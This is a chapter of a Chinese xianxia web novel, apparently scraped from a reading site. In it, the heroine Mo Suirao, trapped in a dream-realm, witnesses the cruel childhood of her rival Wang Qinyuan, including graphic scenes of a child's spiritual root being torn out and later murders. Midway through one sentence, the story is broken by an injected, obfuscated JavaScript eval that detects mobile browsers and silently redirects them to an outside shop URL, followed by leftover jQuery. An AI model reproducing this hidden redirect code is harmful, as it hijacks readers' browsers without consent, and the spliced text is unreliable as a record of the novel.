63. 浮生梦

作品:《师妹真的不想开挂

    众人被这天光照得刺眼,正当这时,有香气渐渐飘来,脚下的火光愈加强盛。


    空中隐隐传来梦珠炸裂的声音,有人两眼一翻,坠入火海。


    莫岁扰察觉不对,还未待她开口,三只冰蝶猛地振翅,与水雾纠缠着生长。


    它在虚空嘶吼着释放领域。寒气迅速爬上洞府的残垣断瓦,骤降的温度,连莫岁扰都感到一丝不耐。


    她伸出手,那道雾气从她指尖掠过,直直冲向半空的女子。


    王沁沅早已在空中等待,没成想炉鼎大开,先冲出来的竟是一头冰蟒,那兽头弯曲着,露出尖锐可怖的獠牙,“嘶嘶”的寒气扑在她的脸上。


    “又是这个畜生!”


    她指尖露出青筋,掌心不停朝外窜着灵火,“还未成型便敢在我面前放肆。”


    莫岁扰刚散开那些雾气,转眼便看到在王沁沅手中挣扎的玄霜冰蟒,后者剔透的身体被灵火烤得焦黑,犹如地上的枯枝树炭。


    她手指搭在腕间的布条上,不过片刻犹豫的功夫,身旁人便提剑从她身旁飞过。


    脚下的地面渐渐凝出一朵冰花,悉悉簌簌的声音自虚空响起,原本霜寒的洞府又覆上一层冰系术法。


    寒气愈来愈重,不少人抱团取暖,默念清心咒,一时不禁有些想念方才的丹火。


    “是谁的契约灵兽?能不能把领域收收,冷死了。”有人道。


    “不知道啊,但是领域收了这火说不定又要燃起来……”


    一眼望去,竟只有那几名元婴期修士能勉强行动。少女看着危溯宁一手持剑,一手掐诀,那云涌翻飞的法诀不正是苍山宗冰灵高阶剑诀?


    “云起雾封诀,多是障眼群攻的路数……”她哈着寒气披上隐身斗篷,将方才叫得最大声的几人踢到半空。


    王识只觉后脊一凉,整个人便飞了出去。


    “道友,惩恶扬善的时候到了!”莫岁扰喊道。


    男子的叫骂还没出口,便察觉到头上迎来一道目光,那目光带着毫不掩饰的杀气,令他头皮发凉。


    方才太过紧张扯到什么东西,如今借着那物的力掉在空中。


    他猛地松开王沁沅的衣摆,讪讪抬眼,“老祖……饶命……哎呀呀!”


    这人来自浮空城,进入这秘境原本是完成上头交代的任务,想着同为王氏中人,这王沁沅应当会留点颜面。


    未曾想,一道火龙毫不留情地从他身侧穿过。


    他慌忙将燃烧的外裳扔掉,被迫加入战斗。


    神魂状态的王沁沅显然更加灵活,数十道人影围在他们身边,叫人分不清哪个才是真身。


    他们不敢轻易动手消耗灵力,只能小心试探,等到最后一个“王沁沅”消散后,面面相觑。


    隐在云雾中的少年睁眼,忽而察觉到秘境的另一重异动。


    另一边。


    冰蟒早已不知被扔在何处,白茫的雾气中,不少人试图远离洞府。


    莫岁扰终于找到奄奄一息的玄霜冰蟒,此刻它皱巴巴地趴在地上,不过幼蛇大小。看见她来,吐了吐舌头。


    她询问活玉,“你看看它怎么样!”


    “别急主人!”


    活玉从空间中钻出,红色光芒一点点融入它的伤口。不一会,那些黑色血痕便消失不见,莫岁扰才松口气,手中的冰蟒又猛地冲出去。


    方才转眼,便听见冰蟒凶猛的嘶吼,王沁沅竟不知何时站在身后!


    距离很远,莫岁扰却无法动弹。


    她目视而去,那女子深陷的眼窝,枯瘦干涸的发肤肉眼可见的遍布全身。


    少女怔然,竟从这张脸上看到了不属于这个境界的衰亡之相。


    王沁沅抬起手,漫天的火焰从地面升起,口中喃喃,“最后一场梦,献给我自己。”


    空中传来熟悉的炸裂声,又有不少人倒下。


    莫岁扰深吸一口气,秘境自成一处空间,在大门未开启之前,便是一个天然的炼丹炉。


    “她是想将整片秘境都用做自己的炉鼎?!”


    少女下意识看向危溯宁,却早已看不见人影。


    雾气很快散去,几人隔着重重焰火,皆被困在这场浮生梦中。


    ……


    金色肃穆的殿墙高柱,内里却是一片昏暗,只有大殿的边角有过几道光影,但也随着日光西沉而湮没。


    莫岁扰脱下黑袍,观察着自己,修为正常,样貌未变。


    看来是幻象困境,大师兄他们也进来了吗?


    想着,她用传讯符联系危溯宁,很快青鸟飞来。两人确定如今身处的地方,依旧是万年前的浮空城。


    “这个浮生梦尚在结珠期,我先出去解决外面的炉鼎,其他人能救则救,你记得早些离开。”


    传讯符上只剩一条讯息,少女想了想,发了条关于破空通道位置的讯息,金光闪过,没有青鸟。


    未读。


    莫岁扰试着打开殿门,却发现纹丝不动,发现玄铜门上有两个圆洞,能看到外边的铁锁。正在此时,阴暗处传来一声弱弱的低唤。


    少女看过去。


    “你是新来的丫鬟吗?那里出不去,你要往这走。”女孩指了指角落的小洞,洞口被常年磨蹭得光滑。


    少女观察女孩,后者穿着华贵,样貌精致小巧,脸蛋陷在阴影中,能看到的红扑扑的,全是孩童的稚气。但莫岁扰能看到她手腕和脸上的青黑鞭痕。


    又凑近些,不由得心底一凉,那双眼虽含着泪尽力做出一副人畜无害的模样,但先前蛮横肆意的形象太过深入人心,让莫岁扰面对着这么个缩小版的王沁沅根本提不起任何怜爱,反而怕这人突然暴起,扔几条火龙伺候她。


    王沁沅疑惑问道:“你听不见我说话吗?还是哑巴?”


    莫岁扰伫立许久,即使确定这人不会变脸,也不敢放下心,反复对她用着清心咒,又用了断魂引。


    没有反应。


    方才师兄说这个浮生梦并未“破茧”,那便只是个幻境,按理说王沁沅与自己的神魂契合度最高,“结珠”定会优先选择自己才对。


    但眼前人似乎……毫无异样?


    她拿出一件法器,几道光束飞出,将王沁沅绑的严严实实的,后者神色一变。


    莫岁扰伸出手,在孩童努力表达凶狠的目光中,摸到一把钥匙。


    看见这人将钥匙找出来,女孩精致的五官扭曲在一起,厉声尖叫,“啊啊啊!贱人!放开我!”


    少女抓住她上下扑腾的脚,一声惊呼传来。她蹙着眉,指尖无意捏到一处青黑的皮肤。


    “你把自己搞成这样,是为了让我钻那个狗洞?”


    王沁沅瞪着她,没有言语,但身旁发出的寒光显然是否认了她的想法。


    她拿起地上的匕首,微微挑眉,“小小年纪便想着杀人?”


    “坏人……”女孩呲着牙,低头想咬她,后者躲过,听见额头重重撞到地面的声音。王沁沅额间淌着鲜血,鼻尖也红了一片。


    与此同时,门外传来说话声。


    “这人天天说有人要来杀她,实在找不到那人,她就天天打骂这院里的下人。”


    “小姐脾气这么古怪,也难怪被关在这里。”


    “平时哪有人敢接近她?这次都敢给自己亲弟弟下毒,天生的恶毒坯子,也不知道家主会怎么罚她?”


    “北境不是来了个天师?这事估计还得他开口。”


    “这天师真是个神人,我们要不去多说两句,说不定家主就……”


    “先住嘴,到了。”


    语落,锁链落地的声音传来,空旷的寝殿迎来一道狭长昏光,随后是二人冰冷淡漠的声音,“大小姐,请吧……”


    莫岁扰早已将缚灵索松开,自己则躲在梁柱上。


    王沁沅被那二人领着,突然停了下来,似乎是不想说话,小手执拗地指着梁上。


    少女贴了张隐身符,那二人瞥了眼,自然什么都没看见。


    “……这小姐一天天神经兮兮的。”一人说道。


    两个丫鬟都是不知多年的金丹境,却没刻意掩饰声音。


    莫岁扰看向王沁沅,后者被怪异的目光笼罩,也只是小声怒斥:“瞎子!”


    随后她被两人拖着离开,临走时还呲着牙恶狠狠地瞪着莫岁扰。


    少女有些不明所以,王沁沅竟能看到她。


    浮空城有座最高的楼宇,名为字樾楼。为王氏子弟或长老可登入,传闻其中藏有世族秘宝,被寄予传承重任,后世子弟入内得灵器认可便能得以庇佑。


    自王氏现任家主继位后,得北境天师指引,放弃家族传承幻道,又将字樾楼占卜一道划除。


    铸重炉、炼天丹,与各方长老割席。


    “天师、天师,我女儿来了!”


    殿堂中间的供奉之物早已不知所踪,取而代之的是一鼎丹炉。


    黑暗中,焰火飘摇,照映出炉前的阵法。


    披着黑袍的男子慢慢转过身,阴影下的目光露出几分欣喜,他频频点头,“好!好!快快把贵公子引来!”


    “好嘞!”王守义眼中炯炯,脸上却挂着僵硬的笑。


    那两名侍女很快将王洛潇也领着进来。


    后者眨了眨睡眼,看着比自己高了不少的王沁沅,傻笑着粘过去:“阿姊也来了……”


    还未说完便被女孩推到地上。


    男孩将脏兮兮的手藏到身后,飞速得看了眼身后的男子,发现王守义并无注意,松了口气。


    婢女早已退下,莫岁扰看着两个小孩一前一后走到家主跟前。


    那人脸上挂着慈祥的笑,在黑袍人的示意下,挥手将王洛潇哄睡。随后看向王沁沅……


    不知是不是她的错觉,身周的温度陡然冷了几分。


    少女细长的睫毛轻轻扇合,很快睁开。只这一眼,她瞳孔微缩,本能得捂住嘴。


    “他在干什么?!这、这……”活玉的惊呼从识海传来,显然被吓得不行。


    莫岁扰很快反应过来,注意到四周的场景,目光落到丹炉前的高台地面。


    台上,王沁沅似乎还没反应过来,目光一点点向下移,不多时便见一条冒着青筋的麦色手臂,鲜血汩汩流淌,难以形容的剧痛涌上脑海。


    她从喉腔溢出破碎的哭喊,嘶哑的吸气声格外刺耳。


    女孩的脚尖慢慢离开地面,全身痛苦地痉挛着。


    “啪嗒--”、“啪嗒--”的鲜血顺着王守义的臂弯落下,那瘦弱单薄的腰腹瞬间被掌心穿破,出现一个大窟窿。


    “对!对!就是这样!小姐是凶星转世,这大灾之相必然会影响公子的气运。”


    “若要破解,就要让她这辈子都不能修行!先把她灵根挖了,再用这玲珑阵将她的气运全部移到少主身上!”


    王家主紧接着回应,“都听你的天师,接下来该怎么做?”


    “你先去门口护法,这阵法乃我毕生钻研,容不得外人侵扰。”


    “好……好!”他快步跑到门外。


    黑袍人一步步走上前,将血泊中的女孩抱上阵法中央。


    莫岁扰站在原地,听见活玉略显急促的声音。


    “主人,虽然王沁沅十恶不赦,但是她现在还是个孩子啊,万一她是经过这一件事情变坏了,你不是刚好可以救她,教她向善吗?”


    少女知道活玉是想叫她出手阻止。这器灵虽是个热心肠,但是脑子却不好使。


    “活玉,这家主和黑袍人都不止金丹境,他们看不见我。”她没有正面回答它的问题。


    这里……不是平行空间。


    活玉这才恍然。


    对啊,浮生梦还在“结珠”期,只有真正的王沁沅能阻止这一切,而现在这里发生的,对于她们而言,不过是回忆的幻境。


    那王沁沅怎么能看见她?


    活玉没有细想,随着少女的视线看向远处。


    王沁沅的生命力强得惊人,正常孩童有着这样的创口早已当场毙命,但她却还能强睁着眼,将眼前人记在眼中。


    源源不断的鲜血沿着地上的起伏形成纵横交错的血流,阵法慢慢运转。黑袍人祭出灵剑,对准女孩眉心。


    与此同时,王洛潇猛地睁开眼,看见女孩头上闪着寒光的利剑,惊恐地叫唤,“你在干什么,放开阿姊!”


    男孩跑上前,却被那人狠狠地摔到台上。


    那人全身颤抖,从齿间溢出不间断的桀笑。


    “什么万年根基,修真先祖,你们这些愚蠢的世族就该守着自己的破烂,慢慢腐朽溃烂!凭什么气运复苏?!凭什么还能有第二次机会?!哈哈哈哈哈天不助我!哈哈哈天助我!将你们这些人送到我面前!”


    他仰天长笑,王洛潇试图叫人,却被门口的结界推回阵中。


    “爹!爹爹,救命、救姐姐!”他奋力拍打着结界,被反震地呕出鲜血。看见长剑落下,绝望的大哭。


    与此同时,无数金光突然浮现在空中,渐渐环绕在他身周,虚空中有道温暖和煦的东西滋养着他,伴随数道经文尽数涌入他的识海。


    他承受不住,再次倒下。


    “浮空印?”黑袍人讶然,看着地上的王沁沅,暗骂一声,“法则居然不认气运?”


    女孩死寂的脸上生出一丝波澜,嘴唇嚅动,说了句“废物。”


    黑袍人不在意她的言语,在他看来,这人不过是难杀一点的孩童,只要轻轻一捏就能将她孱弱的脖颈掐断。


    所以他继续掐诀,手中灵剑发出暗青色的光辉,一团黑气慢慢贴近王沁沅眉心。


    正要得手之时,天上一道惊雷骤降,穿过重重机关阻碍落到他身上。


    “???”这雷来得突然,黑袍人缓缓吐出一口黑气。


    阵法半途而止,他眼眸愈加阴沉,最后反而透出了几分癫狂。


    他拖起地上昏倒的王洛潇,用傀儡术控制他拿起灵剑,走向王沁沅。


    “……原来是气运之子。”活玉轻叹。


    “什么是气运之子。”


    “就是,你们修士依靠灵力和气运修行。天地万物都有气运所在,你外出历练修行是取的就是天地间的气运。”


    “而你能不能取得气运、怎么取得这些气运靠的是自己,你的气运越强,与大机缘相遇的可能就越大。”


    “简单来说就是运气非常好,机遇非常且有上天保护不容易死。”


    “……哦。”莫岁扰听懂了,惋惜地叹了口气。


    光是不容易死的那条,就把她给排除了。


    将最后六铃用去,她可以给在场的所有人表演个爆体而亡。


    似乎是猜到她心中所想,活玉又道:“气运这玩意呢,又和命理相关。”


    “所以没事的主人,虽然你不像气运之子一样两个都占,但也能占一样不是?”


    “每次你每次运气都不太好,但总能活下来,说不定就是命理强,遇到什么事都能化险为夷!”


    “你为什么觉得我运气不好?”


    “当然……!”活玉顿住。


    主人运气不好吗?


    当然不好。


    它都了解了,这个主人是第一次离开宗门历练,第一关就遇到了化神期,现在又是真仙境的浮生梦。


    这是毋庸置疑的,但是真奇怪啊……


    在玉城时,其他人没有注意到,它却是看的清清楚楚。有一股神秘的力量,暗中救了主人两次。


    现在,那些侥幸从浮生梦出来的人,很多都是神魂残缺的虚弱状态。


    而莫岁扰虽倒霉地成为了浮生梦“破茧”的神魂献祭品,但她却早早便发现了浮生梦,且成功避开了“结珠”的蚕食期,又活了下来。


    倒真像是有什么大机缘傍身。


    “当然什么?”少女提问。


    “……其实有时候运气也挺好的。”


    莫岁扰嗤笑一声,没有说话。


    那人接下来的动作她便没看了。她能猜到所谓的气运是被移到了那个黑心天师身上,但因为天雷的原因,只转移了一半。


    所以王沁沅被草席一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068160|189862||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卷扔到乱葬岗,立刻便被一对夫妇发现了。


    白发妇人掌心蕴着灵力,试图疗愈王沁沅的伤口。她指尖拿着一颗丹药,女孩一口咬了上去。


    那两人趁机观察这个来历不明的女孩。


    “这孩子灵根被挖了。”


    “先治好再说。”


    那对夫妻是对隐世的高人,平日醉心于人族灵根和早已绝迹的兽灵一族的研究。


    他们对这个从死人堆捡回来的女孩几乎是视如己出,三人生活在兽灵谷,过了段还算安稳幸福的岁月。


    莫岁扰最开始是这么想的,但不久,事情的发展颠覆了她的想法。


    王沁沅贴心的为那对夫妇端来了两碗汤。


    熟悉的灵草、熟悉的配方,她很快便认出了是某种暗药。


    “又是封识藤。”


    不由得暗自咂舌,还未安生几天怎么又要出事了?


    她看着王沁沅将人药倒,又从袖中拿出一把匕首,对准一人的腹腔插下去。


    那药只能让他们无法动作,所以她在二人惊恐的目光中将手探进去,时不时搅动着内里的血肉,似乎是在认真寻找。


    紧接着,倏然一笑,将好不容易找到的东西拿出捧在手心。


    “看,阿叔,灵根。”


    温甜的嗓音绕在耳尖,男子早已没了气息,女孩似乎有些气馁,不一会儿将柔和的目光落到妇人身上,残忍道:“无事的,我已经知道位置了。”


    这次的速度快了不少,她熟练地取出,又将一个散发着妖气的东西放到相同的位置。


    莫岁扰微微眯眼,这东西怎么在哪见过?


    烈火红莲的花叶微微张合,花蕊不时朝外散发着一点点妖气。


    活玉:“主人,那像不像王沁沅给你们的新婚贺礼,就是那个兽灵!”


    莫岁扰终于想起来,这是她神魂被封时发生的事情,她只依稀记得一点。不过她记得兽灵是可以化作修士灵根的啊,怎么会冒妖气呢?


    “活玉,你活这么久,有没有听过一个方法,可以净化妖气什么的。”


    “……好像没有欸。主人,是净化成哪种气?”


    “当然是……”灵气。


    那两个字没有说出声。活玉的声音接踵而来,“是仙气还是灵气?鬼气魔气?还是人间的烟火气?那么多气怎么能说净化呢?”


    莫岁扰默默点头,方才也是想到确实不能用净化这个词。若是换个词,她倒是想到了一个方法。


    “妖气转化成灵气。”


    “转化?”活玉停顿了一下,支支吾吾地说,“我印象中倒是有个阵法可以。”


    莫岁扰微微挑眉,听见活玉小声道:“主人你在玉城用的阵法,不就是?”


    往生阵第三重“转化”,莫岁扰仅用了一张光象符纹将鬼域空间消灭,虽然很大部分原因是因为当时殷无眠大势已去,但这道“转化”还是发挥了很大的作用。


    少女暗自思忖着,那是她从小钻研的阵法,她能悟出来,旁人说不定也可以。


    那妇人睁大双眼,只能看着那东西进入身体。与此同时全身青筋暴起,有黑色脉络从腹部蔓延开来。


    不能运功压制,那妖气在她体内延伸,她猛地张口,黑纹迅速爬上脸庞,不一会儿便侵进识海。


    倏地,她“砰然”炸裂开来,屋舍燃起熊熊烈火。


    王沁沅捂着小腹,皱着眉往外走。


    看见屋外的莫岁扰,疑惑着开口,“你这人真是奇怪,为何一直跟着我?”


    莫岁扰倒不是随意跟着她,只是她实在好奇一个被家族算计的弃子,或者说这个气运之子,是通过了什么打赢了这盘棋子?


    在她的印象中王洛潇虽然也有记载,但也不过寥寥几句赞词。而王沁沅的名字虽然没有被广为流传,但是传说她的洞府囊括了那个时期浮幽近三成的法器灵宝,自成一个秘境。


    万年间,不少修士趋之若鹜。


    于是她说了真心话,“看你怎么活下去。”


    女孩看着她,说了句不着条理的话,“我识得你,也不喜你出现。”


    这儿的王沁沅怎会认得她?


    王沁沅:“有许多跟我长的一样的人,说未来会出现有一个与众不同的人,来杀了我。”


    “所以,你也是来杀我的吗?”


    一道寒光闪过,莫岁扰劈手夺过她的匕首。


    她诧异地抬眼,画面陡然一转,二人从兽灵谷出现到祝澜湾。


    不再是相互对峙的场面。


    不远处,王沁沅被一人牵着手,一个紫衣女孩怒气冲冲跑过来,将她推到地上。


    “谁让她来的?!就是她害的洛潇昏迷不醒,祝府不欢迎她!”


    女孩暴怒道:“我祝玥吟最看不上这种满腹算计的人,我没交过你这个朋友!”


    王沁沅站起身,慢条斯理地将身上清理干净,“我对他很好。”


    她面色平静,眼神却是陷进了未知的迷海中。


    “动辄打骂,还给亲弟弟下毒,我从前都没发现你居然这么恶毒!”


    祝玥吟被气的不行,“王叔叔都说了,你是为了抢夺继承权毒害洛潇,才会被赶出浮空城!”


    “你死了这心吧,浮空印早被叔叔藏起来了,它也永远不会认你这种心思恶毒的主人!”


    女孩迷茫的眼神终于变化,像在乱流中抓住浮木,“不该这样吗?”


    不该这样吗……是不该给王洛潇下毒?还是不该觊觎继承权?


    她说的理所当然,像是在反过来质问她。


    看着王沁沅毫无悔改的模样,祝玥吟气急,话到嘴边又几番吞下,最后憋得眼眶泛红,提着裙子跑远了。


    待她的身影消失,女孩踮脚折下一枝梨花,喃喃道:“是他们错了。”


    后面发生的事情很快,王守义突然被修真界通缉,原因是修炼邪法。


    他痴迷炼丹提升境界,炼化的灵物竟是活生生的人!


    此事一出,南境哗然,在各世家观望之际,王沁沅带着人大义灭亲,从浮空城分走王氏一半的资源后,很快成立了自己的洞府。


    莫岁扰终于知道她是如何在灵根尽数摧毁的情况下存活这么久的了。


    “不愧是气运之子,灵根被挖了立马就有人赶过来救,还顺便献上了兽灵的提取方法。”


    虽然这法子过于恶毒……


    活玉所言不错,兽灵族几乎绝迹,而救治王沁沅的那对夫妻,发现了让兽类变成兽灵的方法。


    将同属性的与人契约过的兽类放在一处自相残杀,再把契约人放入猎场中,控制契约灵兽吞食他的灵根,再取出经过契约反噬后的兽类内丹。


    这便是初代兽灵,也就是王沁沅给那位妇人用的那枚,很明显,那兽灵不能代替修士灵根,不过王沁沅很快便找到了兽灵的转化方法。在带走浮空城半数资源之后,修为突飞猛进。


    莫岁扰唯一遗憾的便是,她知道王沁沅背后有个神秘人或者说是个很强大组织,但这人很防备她,他们每次的碰面谈话都设置了结界,以至于她不能知道更多。


    她拿出传讯符,轻薄的符纸依旧没有动静。


    这不是一个封闭的空间,按理说危溯宁解决完外面的事情应该会看传讯,现在却一直没有动静。


    如果排除遇到麻烦的可能,便是……二者的时间流逝有所不同。


    她其实知道危溯宁会将破空剑气藏在何处。


    这个浮生梦都是一些断裂的片段,她看了许久也没发现个所以然,其实先出去等待王沁沅灵力耗尽后才是最好的选择。


    但她心中隐隐有种直觉,特别是想到王沁沅先前说的那些莫名其妙的话的时候,这种感觉愈加强烈。


    总觉得,不该在这个时候出去。


    她想着,眼看着王沁沅来到一片群山,少女愈看愈觉得熟悉。


    高耸入云的山峰,密林绿荫环绕,从山顶到半腰都被罩着一层薄雾,山底一颗浑然天成的怪石孤傲的立着。


    “苍山?”